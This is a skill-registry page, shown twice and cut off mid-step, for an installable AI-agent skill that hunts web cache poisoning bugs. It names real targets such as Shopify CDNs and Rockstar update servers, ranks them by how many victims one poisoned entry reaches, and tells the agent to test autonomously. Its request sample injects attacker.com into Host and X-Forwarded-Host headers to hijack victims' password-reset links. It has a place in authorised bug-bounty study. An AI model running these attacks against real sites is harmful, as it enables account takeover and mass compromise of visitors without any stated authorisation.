hunt-cache-poison

Name: hunt-cache-poison
Author: elementalsouls

3.0kstars461forks

How to install hunt-cache-poison?

elementalsouls/claude-bughunter/hunt-cache-poison

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-cache-poison

Installs into the current project.

Summary

Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session

Files · 1

View on GitHub

SKILL.md

1	## Crown Jewel Targets
2
3	Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.
4
5	Highest-value targets:
6	- CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
7	- E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
8	- Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
9	- Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
10	- Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
11	- SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key
12
13	Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.
14
15	---
16
17	## Autonomous Testing Priority
18
19	Two distinct attacks live under this skill — target the simpler one first.
20
21	Attack 1 — Password Reset Poisoning (Host header injection):
22
23	The app uses the `Host` header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.
24
25	```
26	POST /forgot-password
27	Host: attacker.com
28	X-Forwarded-Host: attacker.com
29	X-Host: attacker.com
30
31	email=victim@target.com
32	Content-Type: application/x-www-form-urlencoded
33	```
34
35	Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.
36
37	Try multiple host headers — apps vary in which one they trust (`X-Forwarded-Host` is most common, but `Host` itself also works when the proxy passes it through).
38
39	Attack 2 — Web Cache Poisoning:
40
41	Inject the attacker-controlled hostname into `X-Forwarded-Host` on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.
42
43	Check for cache signals in the response: `X-Cache: HIT`, `CF-Cache-Status: HIT`, `Age: <nonzero>`, or `Via: cloudfront/varnish/fastly`.
44
45	Proof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.
46
47	---
48
49	## Attack Surface Signals
50
51	URL patterns to look for:
52	- `cdn.`, `assets.`, `static.`, `updates.`, `downloads.` subdomains
53	- URL path structures with extensions that look static: `/path/to/page.css`, `/account.php/nonexistent.jpg`
54	- Affiliate/link shortener endpoints: `/link/`, `/go/`, `/ref/`, `/out/`
55	- Paths that mix dynamic content with cacheable-looking URLs
56
57	Response headers that signal a cache:
58	```
59	X-Cache: HIT / MISS
60	X-Cache-Status: HIT
61	CF-Cache-Status: HIT / MISS (Cloudflare)
62	Age: <nonzero>
63	Via: 1.1 varnish / cloudfront / fastly
64	Cache-Control: public, max-age=...
65	Surrogate-Control: max-age=...
66	X-Served-By: cache-...
67	```
68
69	JS/tech stack signals:
70	- Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
71	- Shopify/Linkpop stacks with third-party integrations
72	- Platforms using path-based routing without normalizing trailing segments
73	- Servers that reflect unvalidated headers into responses (Host, X-Forwarded-Host, X-Original-URL)
74
75	Dangerous header candidates (unkeyed inputs):
76	```
77	X-Forwarded-Host
78	X-Host
79	X-Forwarded-Scheme
80	X-Original-URL
81	X-Rewrite-URL
82	Forwarded
83	X-HTTP-Method-Override
84	```
85
86	---
87
88	## Step-by-Step Hunting Methodology
89
90	1. Map cache infrastructure. Send a GET to the target and inspect response headers. Identify the caching layer (Cloudflare, Fastly, Varnish, Nginx). Note `Age`, `X-Cache`, `CF-Cache-Status` headers.
91
92	2. Identify cache key components. Send two identical

People who liked this also viewed

6 picks

Type

hunt-cache-poison

3.0kstars461forks

View on GitHub

How to install hunt-cache-poison?

elementalsouls/claude-bughunter/hunt-cache-poison

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-cache-poison

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	## Crown Jewel Targets
2
3	Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.
4
5	Highest-value targets:
6	- CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
7	- E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
8	- Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
9	- Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
10	- Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
11	- SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key
12
13	Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.
14
15	---
16
17	## Autonomous Testing Priority
18
19	Two distinct attacks live under this skill — target the simpler one first.
20
21	Attack 1 — Password Reset Poisoning (Host header injection):
22
23	The app uses the `Host` header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.
24
25	```
26	POST /forgot-password
27	Host: attacker.com
28	X-Forwarded-Host: attacker.com
29	X-Host: attacker.com
30
31	email=victim@target.com
32	Content-Type: application/x-www-form-urlencoded
33	```
34
35	Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.
36
37	Try multiple host headers — apps vary in which one they trust (`X-Forwarded-Host` is most common, but `Host` itself also works when the proxy passes it through).
38
39	Attack 2 — Web Cache Poisoning:
40
41	Inject the attacker-controlled hostname into `X-Forwarded-Host` on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.
42
43	Check for cache signals in the response: `X-Cache: HIT`, `CF-Cache-Status: HIT`, `Age: <nonzero>`, or `Via: cloudfront/varnish/fastly`.
44
45	Proof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.
46
47	---
48
49	## Attack Surface Signals
50
51	URL patterns to look for:
52	- `cdn.`, `assets.`, `static.`, `updates.`, `downloads.` subdomains
53	- URL path structures with extensions that look static: `/path/to/page.css`, `/account.php/nonexistent.jpg`
54	- Affiliate/link shortener endpoints: `/link/`, `/go/`, `/ref/`, `/out/`
55	- Paths that mix dynamic content with cacheable-looking URLs
56
57	Response headers that signal a cache:
58	```
59	X-Cache: HIT / MISS
60	X-Cache-Status: HIT
61	CF-Cache-Status: HIT / MISS (Cloudflare)
62	Age: <nonzero>
63	Via: 1.1 varnish / cloudfront / fastly
64	Cache-Control: public, max-age=...
65	Surrogate-Control: max-age=...
66	X-Served-By: cache-...
67	```
68
69	JS/tech stack signals:
70	- Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
71	- Shopify/Linkpop stacks with third-party integrations
72	- Platforms using path-based routing without normalizing trailing segments
73	- Servers that reflect unvalidated headers into responses (Host, X-Forwarded-Host, X-Original-URL)
74
75	Dangerous header candidates (unkeyed inputs):
76	```
77	X-Forwarded-Host
78	X-Host
79	X-Forwarded-Scheme
80	X-Original-URL
81	X-Rewrite-URL
82	Forwarded
83	X-HTTP-Method-Override
84	```
85
86	---
87
88	## Step-by-Step Hunting Methodology
89
90	1. Map cache infrastructure. Send a GET to the target and inspect response headers. Identify the caching layer (Cloudflare, Fastly, Varnish, Nginx). Note `Age`, `X-Cache`, `CF-Cache-Status` headers.
91
92	2. Identify cache key components. Send two identical

People who liked this also viewed

6 picks

Type